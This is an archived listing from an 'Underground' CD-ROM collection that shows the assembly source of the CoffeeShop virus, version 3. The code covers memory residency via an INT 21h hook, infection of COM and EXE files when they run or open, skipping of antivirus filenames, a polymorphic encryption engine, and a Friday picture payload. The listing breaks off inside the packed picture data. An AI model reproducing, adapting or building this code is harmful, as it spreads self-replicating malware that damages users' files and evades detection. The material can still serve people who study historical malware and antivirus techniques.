Underground

home *** CD-ROM | disk | FTP | other *** search

/ Underground / Underground CD1.iso / virii / zrodla / c / coffshp3.asm < prev next >

Wrap

Assembly Source File | 1998-01-14 | 60.9 KB | 1,674 lines

;****************************************************************************** ;* CoffeeShop VIRUS version 3 ;* ;* Use MASM 4.0 to compile this source ;* (other assemblers will probably not produce the same result) ;* ;* Disclaimer: ;* This file is only for educational purposes. The author takes no ;* responsibility for anything anyone does with this file. Do not ;* modify this file! ;****************************************************************************** .RADIX 16 _TEXT segment assume cs:_TEXT, ds:_TEXT VERSION equ 3 PICLEN equ last - beeld ;length of picture routine FILELEN equ last - first ;length of virus FILEPAR equ (FILELEN + 0F)/10 ;length of virus in paragraphs VIRPAR equ 00D0 ;space for resident virus WORKPAR equ 0160 ;work space for engine STACKOFF equ 1000 ;Stack offset DATAPAR equ 0050 ;extra memory allocated BUFLEN equ 1C ;length of buffer ;**************************************************************************** ;* data area for virus ;**************************************************************************** org 00E0 mutstack dw 0, 0 oldlen dw 0, 0 oi21 dw 0, 0 minibuf db 0, 0, 0, 0 ;**************************************************************************** ;* data area for engine ;**************************************************************************** add_val dw 0 xor_val dw 0 xor_offset dw 0 where_len dw 0 where_len2 dw 0 flags db 0 ;****************************************************************************** ;* Begin of virus, installation in memory ;****************************************************************************** org 0100 first: call next ;get IP next: pop si sub si,low 3 ;SI = begin virus mov di,0100 cld push ax ;save registers push ds push es push di push si mov ah,30 ;DOS version >= 3.1? int 21 xchg ah,al cmp ax,030A jb not_install mov ax,33DA ;already resident? int 21 cmp ah,0A5 je not_install mov ax,es ;adjust memory-size dec ax mov ds,ax xor bx,bx cmp byte ptr [bx],5A jne not_install mov ax,[bx+3] sub ax,(VIRPAR+WORKPAR) jb not_install mov [bx+3],ax sub word ptr ds:[bx+12],(VIRPAR+WORKPAR) mov es,[bx+12] ;copy program to top push cs pop ds mov cx,FILELEN rep movsb push es pop ds mov ax,3521 ;get original int21 vector int 21 mov ds:[oi21],bx mov ds:[oi21+2],es mov dx,offset ni21 ;install new int21 handler mov ax,2521 int 21 mov ax,33DBh ;init. random nr. generator int 21 mov ah,2A ;ask date int 21 cmp al,5 ;friday ? jne not_install mov ah,2C ;ask time int 21 or dh,dh ;sec = 0 ? jnz not_install mov ax,33DC ;show picture int 21 not_install: pop si ;restore registers pop di pop es pop ds pop ax add si,(offset buffer) sub si,di cmp byte ptr cs:[si],4Dh ;COM or EXE ? je entryE entryC: push di mov cx,BUFLEN rep movsb ret entryE: mov bx,ds ;calculate CS add bx,low 10 mov cx,bx add bx,cs:[si+0E] cli ;restore SS and SP mov ss,bx mov sp,cs:[si+10] sti add cx,cs:[si+16] push cx ;push new CS on stack push cs:[si+14] ;push new IP on stack db 0CBh ;retf ;****************************************************************************** ;* Interupt 24 handler ;****************************************************************************** ni24: mov al,3 ;to avoid 'Abort, Retry, ...' iret ;****************************************************************************** ;* Interupt 21 handler ;****************************************************************************** ni21: pushf cmp ax,33DA ;install-check ? jne not_ic mov ax,0A500+VERSION ;return a signature popf iret not_ic: push es ;save registers push ds push si push di push dx push cx push bx push ax cmp ax,33DBh ;rnd init ? jne not_ri call rnd_init jmp short no_infect not_ri: cmp ax,33DC ;show picture? je show_pic not_pi: cmp ax,4B00 ;execute ? je do_it cmp ax,6C00 ;open DOS 4.0+ ? jne no_infect test bl,3 jnz no_infect mov dx,di do_it: call infect no_infect: pop ax ;restore registers pop bx pop cx pop dx pop di pop si pop ds pop es popf org21: jmp dword ptr cs:[oi21] ;call to old int-handler ;****************************************************************************** ;* Show picture ;****************************************************************************** show_pic: mov ax,offset no_infect ;push return adres on stack push cs push ax mov di,((VIRPAR*10)+0100) ;move picture routine mov si,offset beeld mov cx,PICLEN push cs pop ds push cs pop es rep movsb mov ax,cs ;calculate segment registers add ax,low VIRPAR mov ds,ax mov es,ax push ax ;push picture adres on stack mov ax,0100 push ax db 0CBh ;(retf) goto picture routine ;****************************************************************************** ;* Tries to infect the file ;****************************************************************************** infect: cld push cs ;copy filename to CS:0000 pop es mov si,dx xor di,di mov cx,0080 namemove: lodsb cmp al,0 je moved cmp al,'a' jb char_ok cmp al,'z' ja char_ok xor al,20 ;convert to upper case char_ok: stosb loop namemove return0: ret moved: stosb ;put last zero after filename lea si,[di-5] push cs pop ds lodsw ;check extension .COM or .EXE cmp ax,'E.' jne not_exe lodsw cmp ax,'EX' jmp short check not_exe: cmp ax,'C.' jne return0 lodsw cmp ax,'MO' check: jne return0 std ;find begin of filename mov cx,si inc cx searchbegin: lodsb cmp al,':' je checkname cmp al,'\' je checkname loop searchbegin dec si checkname: cld ;check filename lodsw lodsw mov di,offset names mov cl,13 repnz scasw je return0 mov ax,3300 ;get ctrl-break flag int 21 push dx ;save flag on stack cwd ;clear the flag inc ax push ax int 21 mov ax,3524 ;get int24 vector int 21 push es ;save vector on stack push bx push cs pop ds mov dx,offset ni24 ;install new int24 handler mov ah,25 push ax int 21 mov ax,4300 ;ask file-attributes cwd int 21 push cx ;save attributes on stack xor cx,cx ;clear attributes mov ax,4301 push ax int 21 jc return1v mov ax,3D02 ;open the file int 21 jnc opened return1v: jmp return1 opened: xchg ax,bx ;save handle mov ax,5700 ;get file date & time int 21 push dx ;save date & time on stack push cx mov cx,BUFLEN ;read begin of file mov si,offset buffer mov dx,si call read jc closev mov ax,4202 ;goto end, get filelength xor cx,cx cwd int 21 mov di,offset oldlen ;save filelength mov [di],ax mov [di+2],dx mov ax,word ptr [si+12] ;already infected? add al,ah cmp al,'@' jz closev cmp word ptr [si],'ZM' ;EXE ? je do_EXE do_COM: test byte ptr [si],80 ;maybe a strange EXE? jz closev mov ax,word ptr [di] ;check lenght of file cmp ah,0D0 jae closev cmp ah,1 jb closev mov dx,ax add dx,0100 call writeprog ;call Engine and write virus jne closev mov byte ptr [si],0E9 ;put 'JMP xxxx' at begin sub ax,low 3 mov word ptr [si+1],ax jmp done closev: jmp close do_EXE: cmp word ptr [si+18],40 ;is it a windows/OS2 EXE ? jb not_win mov ax,003C cwd call readbytes jc closev mov ax,word ptr [di+8] mov dx,word ptr [di+0A] call readbytes jc closev cmp byte ptr [di+9],'E' je closev not_win: call getlen call calclen ;check for internal overlays cmp word ptr [si+4],ax jne close cmp word ptr [si+2],dx jne close cmp word ptr [si+0C],0 ;high memory allocation? je close cmp word ptr [si+1A],0 ;overlay nr. not zero? jne close call getlen ;calculate new CS & IP mov cx,0010 div cx sub ax,word ptr [si+8] dec ax add dx,low 10 call writeprog ;call Engine and write virus jne close mov word ptr [si+16],ax ;put CS in header mov word ptr [si+0E],ax ;put SS in header mov word ptr [si+14],dx ;put IP in header mov word ptr [si+10],STACKOFF ;put SP in header call getlen add ax,cx adc dx,0 call calclen ;put new length in header mov word ptr [si+4],ax mov word ptr [si+2],dx lea di,[si+0A] ;adjust mem. allocation info call mem_adjust lea di,[si+0C] call mem_adjust done: call gotobegin call rnd_get ;signature mov ah,'@' sub ah,al mov word ptr [si+12],ax mov cx,BUFLEN ;write new begin mov dx,si mov ah,40 int 21 close: pop cx ;restore date & time pop dx mov ax,5701 int 21 mov ah,3E ;close the file int 21 return1: pop ax ;restore attributes pop cx cwd int 21 pop ax ;restore int24 vector pop dx pop ds int 21 pop ax ;restore ctrl-break flag pop dx int 21 ret ;****************************************************************************** ;* Filenames to avoid ;****************************************************************************** names: db 'CO', 'SC', 'CL', 'VS', 'NE', 'HT', 'TB', 'VI' db 'FI', 'GI', 'RA', 'FE', 'MT', 'BR', 'IM', ' ' db ' ', ' ', ' ' ;****************************************************************************** ;* Write virus to the program ;****************************************************************************** writeprog: push ax ;save registers push dx push si push bp push es cli mov word ptr [di-4],ss ;save SS & SP mov word ptr [di-2],sp mov ax,cs ;new stack & buffer-segment mov ss,ax mov sp,((VIRPAR + WORKPAR) * 10) add ax,low VIRPAR mov es,ax sti push ds mov bp,dx ;input parameters for engine mov dx,0100 mov cx,FILELEN xor si,si mov al,0Fh push di push bx call crypt ;call the Engine pop bx pop di push cx push dx mov ax,4202 ;goto end xor cx,cx cwd int 21 pop dx pop cx mov ah,40 ;write virus int 21 cmp ax,cx ;are all bytes written? pop ds cli mov ss,word ptr [di-4] ;restore stack mov sp,word ptr [di-2] sti pop es ;restore registers pop bp pop si pop dx pop ax ret ;****************************************************************************** ;* Adjust mem allocation info in EXE header ;****************************************************************************** mem_adjust: mov ax,[di] sub ax,low FILEPAR ;alloc. may be this much less jb more cmp ax,DATAPAR ;minimum amount to allocate jae mem_ok more: mov ax,DATAPAR mem_ok: mov [di],ax ret ;****************************************************************************** ;* Read a few bytes ;****************************************************************************** readbytes: call goto mov dx,offset minibuf mov cx,4 read: mov ah,3F int 21 ret ;****************************************************************************** ;* Calculate length for EXE header ;****************************************************************************** calclen: mov cx,0200 div cx or dx,dx jz no_cor inc ax no_cor: ret ;****************************************************************************** ;* Get original length of program ;****************************************************************************** getlen: mov ax,[di] mov dx,[di+2] ret ;****************************************************************************** ;* Goto new offset DX:AX ;****************************************************************************** gotobegin: xor ax,ax cwd goto: xchg cx,dx xchg ax,dx mov ax,4200 int 21 ret ;**************************************************************************** ;* ;* Encryption Engine ;* ;* ;* Input: ES work segment ;* DS:DX code to encrypt ;* BP what will be start of decryptor ;* SI what will be distance between decryptor and code ;* CX length of code ;* AX flags: bit 0: DS will not be equal to CS ;* bit 1: insert random instructions ;* bit 2: put junk before decryptor ;* bit 3: preserve AX with decryptor ;* ;* Output: ES: work segment (preserved) ;* DS:DX decryptor + encrypted code ;* BP what will be start of decryptor (preserved) ;* DI length of decryptor / offset of encrypted code ;* CX length of decryptor + encrypted code ;* AX length of encrypted code ;* (other registers may be trashed) ;* ;**************************************************************************** db '[ MK / Trident ]' crypt: xor di,di ;di = start of decryptor push dx ;save offset of code push si ;save future offset of code mov byte ptr ds:[flags],al ;save flags test al,8 ;push AX? jz no_push mov al,50 stosb no_push: call rnd_get ;add a few bytes to cx and ax,1F add cx,ax push cx ;save length of code call rnd_get ;get random flags xchg ax,bx ;BX flags: ;0,1 how to encrypt ;2,3 which register for encryption ;4 use byte or word for encrypt ;5 MOV AL, MOV AH or MOV AX ;6 MOV CL, MOV CH or MOV CX ;7 AX or DX ;8 count up or down ;9 ADD/SUB/INC/DEC or CMPSW/SCASW ;A ADD/SUB or INC/DEC ; CMPSW or SCASW ;B offset in XOR instruction? ;C LOOPNZ or LOOP ; SUB CX or DEC CX ;D carry with crypt ADD/SUB ;E carry with inc ADD/SUB ;F XOR instruction value or AX/DX random: call rnd_get ;get random encryption value or al,al jz random ;again if 0 mov ds:[xor_val],ax call do_junk ;insert random instructions pop cx mov ax,0111 ;make flags to remember which test bl,20 ; MOV instructions are used jnz z0 xor al,07 z0: test bl,0C jnz z1 xor al,70 z1: test bl,40 jnz z2 xor ah,7 z2: test bl,10 jnz z3 and al,73 z3: test bh,80 jnz z4 and al,70 z4: mov dx,ax mov_lup: call rnd_get ;put MOV instructions in and ax,000F ; a random order cmp al,0A ja mov_lup mov si,ax push cx ;test if MOV already done xchg ax,cx mov ax,1 shl ax,cl mov cx,ax and cx,dx pop cx jz mov_lup xor dx,ax ;remember which MOV done push dx call do_mov ;insert MOV instruction call do_nop ;insert a random NOP pop dx or dx,dx ;all MOVs done? jnz mov_lup push di ;save start of decryptor loop call do_add_ax ;add a value to AX in loop? call do_nop test bh,20 ;carry with ADD/SUB ? jz no_clc mov al,0F8 stosb no_clc: mov word ptr ds:[xor_offset],0 call do_xor ;place all loop instructions call do_nop call do_add pop dx ;get start of decryptor loop call do_loop test byte ptr ds:[flags],8 ;insert POP AX ? jz no_pop mov al,58 stosb no_pop: xor ax,ax ;calculate loop offset test bh,1 ;up or down? jz v1 mov ax,cx dec ax test bl,10 ;encrypt with byte or word? jz v1 and al,0FE v1: add ax,di add ax,bp pop si add ax,si sub ax,word ptr ds:[xor_offset] mov si,word ptr ds:[where_len] test bl,0C ;are BL,BH used for encryption? jnz v2 mov byte ptr es:[si],al mov si,word ptr ds:[where_len2] mov byte ptr es:[si],ah jmp short v3 v2: mov word ptr es:[si],ax v3: mov dx,word ptr ds:[xor_val] ;encryption value pop si ;ds:si = start of code push di ;save ptr to encrypted code push cx ;save length of encrypted code test bl,10 ;byte or word? jz blup inc cx ;cx = # of crypts (words) shr cx,1 lup: lodsw ;encrypt code (words) call do_encrypt stosw loop lup jmp short klaar blup: lodsb ;encrypt code (bytes) xor dh,dh call do_encrypt stosb loop blup klaar: mov cx,di ;cx = length decryptpr + code pop ax ;ax = length of decrypted code pop di ;di = offset encrypted code xor dx,dx ;ds:dx = decryptor + cr. code push es pop ds ret ;**************************************************************************** ;* encrypt the code ;**************************************************************************** do_encrypt: add dx,word ptr ds:[add_val] test bl,2 jnz lup1 xor ax,dx ret lup1: test bl,1 jnz lup2 sub ax,dx ret lup2: add ax,dx ret ;**************************************************************************** ;* generate mov reg,xxxx ;**************************************************************************** do_mov: mov dx,si mov al,byte ptr ds:[si+mov_byte] cmp dl,4 ;BX? jne is_not_bx call add_ind is_not_bx: test dl,0C ;A*? pushf jnz is_not_a test bl,80 ;A* or D*? jz is_not_a add al,2 is_not_a: call alter ;insert the MOV popf ;A*? jnz is_not_a2 mov ax,word ptr ds:[xor_val] jmp short sss is_not_a2: test dl,8 ;B*? jnz is_not_b mov si,offset where_len test dl,2 jz is_not_bh add si,2 is_not_bh: mov word ptr ds:[si],di jmp short sss is_not_b: mov ax,cx ;C* test bl,10 ;byte or word encryption? jz sss inc ax ;only half the number of bytes shr ax,1 sss: test dl,3 ;byte or word register? jz is_x test dl,2 ;*H? jz is_not_h xchg al,ah is_not_h: stosb ret is_x: stosw ret ;**************************************************************************** ;* insert MOV or alternative for MOV ;**************************************************************************** alter: push bx push cx push ax call rnd_get xchg ax,bx pop ax test bl,3 ;use alternative for MOV? jz no_alter push ax and bx,0F and al,08 shl ax,1 or bx,ax pop ax and al,7 mov cl,9 xchg ax,cx mul cl add ax,30C0 xchg al,ah test bl,4 jz no_sub mov al,28 no_sub: call maybe_2 stosw mov al,80 call maybe_2 stosb mov ax,offset add_mode xchg ax,bx and ax,3 xlat add al,cl no_alter: stosb pop cx pop bx ret ;**************************************************************************** ;* insert ADD AX,xxxx ;**************************************************************************** do_add_ax: push cx mov si,offset add_val ;save add-value here mov word ptr ds:[si],0 mov ax,bx and ax,8110 xor ax,8010 jnz no_add_ax ;use ADD? mov ax,bx xor ah,ah mov cl,3 div cl or ah,ah jnz no_add_ax ;use ADD? test bl,80 jnz do_81C2 ;AX or DX? mov al,5 stosb jmp short do_add0 do_81C2: mov ax,0C281 stosw do_add0: call rnd_get mov word ptr ds:[si],ax stosw no_add_ax: pop cx ret ;**************************************************************************** ;* generate encryption command ;**************************************************************************** do_xor: test byte ptr ds:[flags],1 jz no_cs mov al,2E ;insert CS: instruction stosb no_cs: test bh,80 ;type of XOR command jz xor1 call get_xor ;encrypt with register call do_carry call save_it xor ax,ax test bl,80 jz xxxx add al,10 xxxx: call add_dir test bh,8 jnz yyyy stosb ret yyyy: or al,80 stosb call rnd_get stosw mov word ptr ds:[xor_offset],ax ret xor1: mov al,080 ;encrypt with value call save_it call get_xor call do_carry call xxxx mov ax,word ptr ds:[xor_val] test bl,10 jmp byte_word ;**************************************************************************** ;* generate increase/decrease command ;**************************************************************************** do_add: test bl,8 ;no CMPSW/SCASW if BX is used jz da0 test bh,2 ;ADD/SUB/INC/DEC or CMPSW/SCASW jnz do_cmpsw da0: test bh,4 ;ADD/SUB or INC/DEC? jz add1 mov al,40 ;INC/DEC test bh,1 ;up or down? jz add0 add al,8 add0: call add_ind stosb test bl,10 ;byte or word? jz return stosb ;same instruction again return: ret add1: test bh,40 ;ADD/SUB jz no_clc2 ;carry? mov al,0F8 ;insert CLC stosb no_clc2: mov al,083 stosb mov al,0C0 test bh,1 ;up or down? jz add2 mov al,0E8 add2: test bh,40 ;carry? jz no_ac2 and al,0CF or al,10 no_ac2: call add_ind stosb mov al,1 ;value to add/sub save_it: call add_1 stosb ret do_cmpsw: test bh,1 ;up or down? jz no_std mov al,0FDh ;insert STD stosb no_std: test bh,4 ;CMPSW or SCASW? jz normal_cmpsw test bl,4 ;no SCASW if SI is used jnz do_scasw normal_cmpsw: mov al,0A6 ;CMPSB jmp short save_it do_scasw: mov al,0AE ;SCASB jmp short save_it ;**************************************************************************** ;* generate loop command ;**************************************************************************** do_loop: test bh,1 ;no JNE if couting down jnz loop_loop ; (prefetch bug!) call rnd_get test al,1 ;LOOPNZ/LOOP or JNE? jnz cx_loop loop_loop: mov al,0E0 test bh,1A ;LOOPNZ or LOOP? jz ll0 ; no LOOPNZ if xor-offset add al,2 ; no LOOPNZ if CMPSW/SCASW ll0: stosb mov ax,dx sub ax,di dec ax stosb ret cx_loop: test bh,10 ;SUB CX or DEC CX? jnz cxl_dec mov ax,0E983 stosw mov al,1 stosb jmp short do_jne cxl_dec: mov al,49 stosb do_jne: mov al,75 jmp short ll0 ;**************************************************************************** ;* add value to AL depending on register type ;**************************************************************************** add_dir: mov si,offset dir_change jmp short xx1 add_ind: mov si,offset ind_change xx1: push bx shr bl,1 shr bl,1 and bx,3 add al,byte ptr ds:[bx+si] pop bx ret ;**************************************************************************** ;* mov encryption command byte to AL ;**************************************************************************** get_xor: push bx mov ax,offset how_mode xchg ax,bx and ax,3 xlat pop bx ret ;**************************************************************************** ;* change ADD into ADC ;**************************************************************************** do_carry: test bl,2 ;ADD/SUB used for encryption? jz no_ac test bh,20 ;carry with (encr.) ADD/SUB? jz no_ac and al,0CF or al,10 no_ac: ret ;**************************************************************************** ;* change AL (byte/word) ;**************************************************************************** add_1: test bl,10 jz add_1_ret inc al add_1_ret: ret ;**************************************************************************** ;* change AL (byte/word) ;**************************************************************************** maybe_2: call add_1 cmp al,81 ;can't touch this je maybe_not push ax call rnd_get test al,1 pop ax jz maybe_not add al,2 maybe_not: ret ;**************************************************************************** ;* get random nop (or not) ;**************************************************************************** do_nop: test byte ptr ds:[flags],2 jz no_nop yes_nop: call rnd_get test al,3 jz nop8 test al,2 jz nop16 test al,1 jz nop16x no_nop: ret ;**************************************************************************** ;* Insert random instructions ;**************************************************************************** do_junk: test byte ptr ds:[flags],4 jz no_junk call rnd_get ;put a random number of and ax,0F ; dummy instructions before inc ax ; decryptor xchg ax,cx junk_loop: call junk loop junk_loop no_junk: ret ;**************************************************************************** ;* get rough random nop (may affect register values) ;**************************************************************************** junk: call rnd_get and ax,1E jmp short aa0 nop16x: call rnd_get and ax,06 aa0: xchg ax,si call rnd_get jmp word ptr ds:[si+junkcals] ;**************************************************************************** ;* NOP and junk addresses ;**************************************************************************** junkcals dw offset nop16x0 dw offset nop16x1 dw offset nop16x2 dw offset nop16x3 dw offset nop8 dw offset nop16 dw offset junk6 dw offset junk7 dw offset junk8 dw offset junk9 dw offset junkA dw offset junkB dw offset junkC dw offset junkD dw offset junkE dw offset junkF ;**************************************************************************** ;* NOP and junk routines ;**************************************************************************** nop16x0: and ax,000F ;J* 0000 (conditional) or al,70 stosw ret nop16x1: mov al,0EBh ;JMP xxxx / junk and ah,07 inc ah stosw xchg al,ah ;get lenght of bullshit cbw jmp fill_bullshit nop16x2: call junkD ;XCHG AX,reg / XCHG AX,reg stosb ret nop16x3: call junkF ;INC / DEC or DEC / INC xor al,8 stosb ret nop8: push bx ;8-bit NOP and al,7 mov bx,offset nop_data8 xlat stosb pop bx ret nop16: push bx ;16-bit NOP and ax,0303 mov bx,offset nop_data16 xlat add al,ah stosb call rnd_get and al,7 mov bl,9 mul bl add al,0C0 stosb pop bx ret junk6: push cx ;CALL xxxx / junk / POP reg mov al,0E8 and ah,0F inc ah stosw xor al,al stosb xchg al,ah call fill_bullshit call do_nop call rnd_get ;insert POP reg and al,7 call no_sp mov cx,ax or al,58 stosb test ch,3 ;more? jnz junk6_ret call do_nop mov ax,0F087 ;insert XCHG SI,reg or ah,cl test ch,8 jz j6_1 mov al,8Bh j6_1: stosw call do_nop push bx call rnd_get xchg ax,bx and bx,0F7FBh ;insert XOR [SI],xxxx or bl,8 call do_xor pop bx junk6_ret: pop cx ret junk7: and al,0F ;MOV reg,xxxx or al,0B0 call no_sp stosb test al,8 pushf call rnd_get popf jmp short byte_word junk8: and ah,39 ;DO r/m,r(8/16) or al,0C0 call no_sp xchg al,ah stosw ret junk9: and al,3Bh ;DO r(8/16),r/m or al,2 and ah,3F call no_sp2 call no_bp stosw ret junkA: and ah,1 ;DO rm,xxxx or ax,80C0 call no_sp xchg al,ah stosw test al,1 pushf call rnd_get popf jmp short byte_word junkB: call nop8 ;NOP / LOOP mov ax,0FDE2 stosw ret junkC: and al,09 ;CMPS* or SCAS* test ah,1 jz mov_test or al,0A6 stosb ret mov_test: or al,0A0 ;MOV AX,[xxxx] or TEST AX,xxxx stosb cmp al,0A8 pushf call rnd_get popf jmp short byte_word junkD: and al,07 ;XCHG AX,reg or al,90 call no_sp stosb ret junkE: and ah,07 ;PUSH reg / POP reg or ah,50 mov al,ah or ah,08 stosw ret junkF: and al,0F ;INC / DEC or al,40 call no_sp stosb ret ;**************************************************************************** ;* store a byte or a word ;**************************************************************************** byte_word: jz only_byte stosw ret only_byte: stosb ret ;**************************************************************************** ;* don't fuck with SP! ;**************************************************************************** no_sp: push ax and al,7 cmp al,4 pop ax jnz no_sp_ret and al,0FBh no_sp_ret: ret ;**************************************************************************** ;* don't fuck with SP! ;**************************************************************************** no_sp2: push ax and ah,38 cmp ah,20 pop ax jnz no_sp2_ret xor ah,20 no_sp2_ret: ret ;**************************************************************************** ;* don't use [BP+..] ;**************************************************************************** no_bp: test ah,4 jnz no_bp2 and ah,0FDh ret no_bp2: push ax and ah,7 cmp ah,6 pop ax jnz no_bp_ret or ah,1 no_bp_ret: ret ;**************************************************************************** ;* write byte for JMP/CALL and fill with random bullshit ;**************************************************************************** fill_bullshit: push cx xchg ax,cx bull_lup: call rnd_get stosb loop bull_lup pop cx ret ;**************************************************************************** ;* random number generator (stolen from 'Bomber') ;**************************************************************************** rnd_init: push cx call rnd_init0 ;init and ax,000F inc ax xchg ax,cx random_lup: call rnd_get ;call random routine a few loop random_lup ; times to 'warm up' pop cx ret rnd_init0: push dx ;initialize generator push cx mov ah,2C int 21 in al,40 mov ah,al in al,40 xor ax,cx xor dx,ax jmp short move_rnd rnd_get: push dx ;calculate a random number push cx push bx mov ax,0 ;will be: mov ax,xxxx mov dx,0 ; and mov dx,xxxx mov cx,7 rnd_lup: shl ax,1 rcl dx,1 mov bl,al xor bl,dh jns rnd_l2 inc al rnd_l2: loop rnd_lup pop bx move_rnd: mov word ptr ds:[rnd_get+4],ax mov word ptr ds:[rnd_get+7],dx mov al,dl pop cx pop dx ret ;**************************************************************************** ;* tables for engine ;**************************************************************************** ; AX AL AH (BX) BL BH CX CL CH mov_byte db 0B8, 0B0, 0B4, 0, 0B8, 0B3, 0B7, 0, 0B9, 0B1, 0B5 ; nop clc stc cmc cli cld incbp decbp nop_data8 db 90, 0F8, 0F9, 0F5, 0FA, 0FC, 45, 4Dh ; or and xchg mov nop_data16 db 8, 20, 84, 88 ; bl/bh, bx, si di dir_change db 07, 07, 04, 05 ind_change db 03, 03, 06, 07 ; xor xor add sub how_mode db 30, 30, 00, 28 ; ? add xor or add_mode db 0, 0C8, 0F0, 0C0 ;**************************************************************************** ;* text + buffer ;**************************************************************************** db ' Amsterdam = COFFEESHOP! ' buffer db 0CDh, 20 ;original code of dummy program db (BUFLEN-2) dup (?) ;**************************************************************************** ;* the (packed) picture routine ;**************************************************************************** beeld db 0BFh, 0A1h, 015h, 090h, 090h, 090h, 090h, 090h db 090h, 090h, 090h, 0BEh, 0F9h, 003h, 0B9h, 06Bh db 001h, 0FDh, 0F3h, 0A5h, 0FCh, 08Bh, 0F7h, 0BFh db 000h, 001h, 0ADh, 0ADh, 08Bh, 0E8h, 0B2h, 010h db 0E9h, 036h, 014h, 04Fh, 08Fh, 07Fh, 0FCh, 0B4h db 00Fh, 0CDh, 010h, 0B4h, 000h, 050h, 0FBh, 0B7h db 0B0h, 03Ch, 007h, 074h, 0FFh, 0FFh, 00Ah, 03Ch db 004h, 073h, 028h, 0B7h, 0B8h, 03Ch, 002h, 072h db 022h, 08Eh, 0C3h, 0BEh, 040h, 001h, 0FFh, 0FFh db 0B0h, 019h, 057h, 0B1h, 050h, 0F3h, 0A5h, 05Fh db 081h, 0C7h, 0A0h, 000h, 0FEh, 0C8h, 075h, 0F2h db 003h, 08Fh, 0B8h, 007h, 00Eh, 0D6h, 0FBh, 00Ch db 0CDh, 021h, 058h, 0F8h, 063h, 0A7h, 0CBh, 020h db 002h, 0FEh, 020h, 000h, 0FAh, 0EBh, 0B0h, 0FCh db 0F8h, 003h, 077h, 0F0h, 0E0h, 0D0h, 041h, 00Fh db 0C0h, 02Fh, 007h, 01Dh, 080h, 06Fh, 0BAh, 0DCh db 0E1h, 034h, 0DBh, 00Ch, 0F8h, 0F0h, 00Eh, 0DFh db 0FEh, 0F4h, 0F8h, 0BBh, 0AEh, 0F8h, 0E4h, 003h db 084h, 0E0h, 0FCh, 0EBh, 0B0h, 0E6h, 0EAh, 0A3h db 083h, 0DAh, 0AAh, 00Eh, 0DCh, 009h, 0BAh, 0C8h db 001h, 03Ah, 0F0h, 050h, 007h, 0A2h, 0E8h, 0E0h db 0ACh, 005h, 0DBh, 00Eh, 077h, 00Fh, 0F8h, 0DCh db 0F6h, 0BAh, 0AEh, 0F0h, 0F6h, 0EBh, 03Ah, 0F0h db 0F4h, 0E0h, 040h, 017h, 0FAh, 0ECh, 01Dh, 072h db 0DFh, 0DAh, 0D2h, 074h, 0F8h, 0BAh, 0DDh, 020h db 01Dh, 074h, 0DEh, 020h, 0AAh, 007h, 0BAh, 0D8h db 061h, 0F8h, 047h, 087h, 0F8h, 0E8h, 0E1h, 0E8h db 0F8h, 092h, 0F4h, 000h, 01Dh, 060h, 0D8h, 0E8h db 009h, 0DCh, 0FEh, 009h, 0F8h, 0B0h, 023h, 0F8h db 05Ch, 0D7h, 0FCh, 0F8h, 0FCh, 0E8h, 001h, 03Bh db 0F4h, 0ECh, 080h, 0D2h, 01Dh, 0BEh, 0BAh, 05Ch db 020h, 07Ch, 003h, 075h, 060h, 0CAh, 020h, 00Eh db 0B2h, 0D8h, 081h, 0F0h, 03Bh, 040h, 092h, 0D7h db 0B5h, 0CEh, 0F8h, 0DCh, 060h, 0A7h, 041h, 0DEh db 060h, 002h, 0B5h, 0BEh, 03Ch, 020h, 00Fh, 07Bh db 022h, 065h, 007h, 01Dh, 060h, 06Eh, 084h, 0CCh db 0DFh, 00Dh, 020h, 0C0h, 0B3h, 020h, 02Fh, 060h db 041h, 01Eh, 06Ah, 0DEh, 07Eh, 00Ah, 042h, 0E0h db 009h, 0E4h, 0C0h, 075h, 030h, 060h, 00Bh, 0DFh db 01Ch, 0F4h, 0E4h, 042h, 04Fh, 05Eh, 05Eh, 041h db 09Ah, 022h, 006h, 02Bh, 01Ch, 080h, 060h, 03Eh db 084h, 057h, 005h, 0CAh, 046h, 0A4h, 0D0h, 07Bh db 053h, 07Ah, 097h, 005h, 015h, 0C2h, 004h, 020h db 01Dh, 054h, 060h, 001h, 0C8h, 051h, 041h, 0E8h db 0DCh, 006h, 054h, 0BEh, 077h, 0D8h, 02Dh, 078h db 07Ah, 050h, 055h, 001h, 004h, 020h, 05Dh, 007h db 076h, 02Eh, 0AEh, 03Ah, 0C6h, 062h, 0E8h, 0A0h db 055h, 05Eh, 009h, 0A2h, 002h, 0C0h, 020h, 057h db 084h, 0C6h, 0D0h, 004h, 01Dh, 02Ah, 05Dh, 05Eh db 0D6h, 016h, 017h, 080h, 098h, 0A4h, 040h, 003h db 050h, 0EAh, 0ACh, 05Dh, 005h, 062h, 0C4h, 01Dh db 070h, 059h, 05Eh, 0C4h, 067h, 005h, 082h, 0DCh db 020h, 002h, 005h, 060h, 020h, 0E4h, 090h, 062h db 019h, 0D4h, 094h, 065h, 0ECh, 00Eh, 069h, 05Eh db 0CFh, 007h, 0A0h, 070h, 020h, 0B0h, 0A2h, 0B2h db 083h, 00Ah, 062h, 069h, 0CCh, 03Bh, 060h, 05Eh db 0D5h, 002h, 0BEh, 080h, 070h, 090h, 062h, 004h db 072h, 083h, 055h, 0FEh, 06Eh, 010h, 041h, 040h db 041h, 0AEh, 0FEh, 0CEh, 075h, 034h, 09Eh, 0FEh db 002h, 071h, 05Ch, 0BAh, 0AAh, 0E6h, 0CCh, 018h db 072h, 0C0h, 062h, 040h, 00Eh, 06Ch, 07Bh, 047h db 0F2h, 0BCh, 005h, 015h, 028h, 050h, 026h, 0E1h db 070h, 0FEh, 052h, 05Fh, 068h, 009h, 0FEh, 0BEh db 040h, 010h, 02Ah, 0F2h, 0AEh, 0E0h, 03Ah, 070h db 0FEh, 0FCh, 06Ah, 04Ah, 050h, 0DEh, 061h, 0ACh db 061h, 0C7h, 050h, 00Eh, 001h, 03Eh, 072h, 060h db 048h, 08Eh, 00Ah, 06Ah, 096h, 03Ah, 0E8h, 002h db 066h, 058h, 084h, 0B0h, 045h, 0B4h, 007h, 020h db 05Ah, 0EAh, 0E9h, 0C0h, 044h, 02Dh, 060h, 0E8h db 093h, 0A0h, 09Eh, 073h, 048h, 050h, 0C6h, 0FFh db 0F0h, 041h, 0D3h, 0FFh, 060h, 040h, 001h, 0FFh db 0D1h, 0EDh, 0FEh, 0CAh, 075h, 005h, 0ADh, 08Bh db 0E8h, 0B2h, 010h, 0C3h, 0E8h, 0F1h, 0FFh, 0D0h db 0D7h, 0E8h, 0ECh, 0FFh, 072h, 014h, 0B6h, 002h db 0B1h, 003h, 0E8h, 0E3h, 0FFh, 072h, 009h, 0E8h db 0DEh, 0FFh, 0D0h, 0D7h, 0D0h, 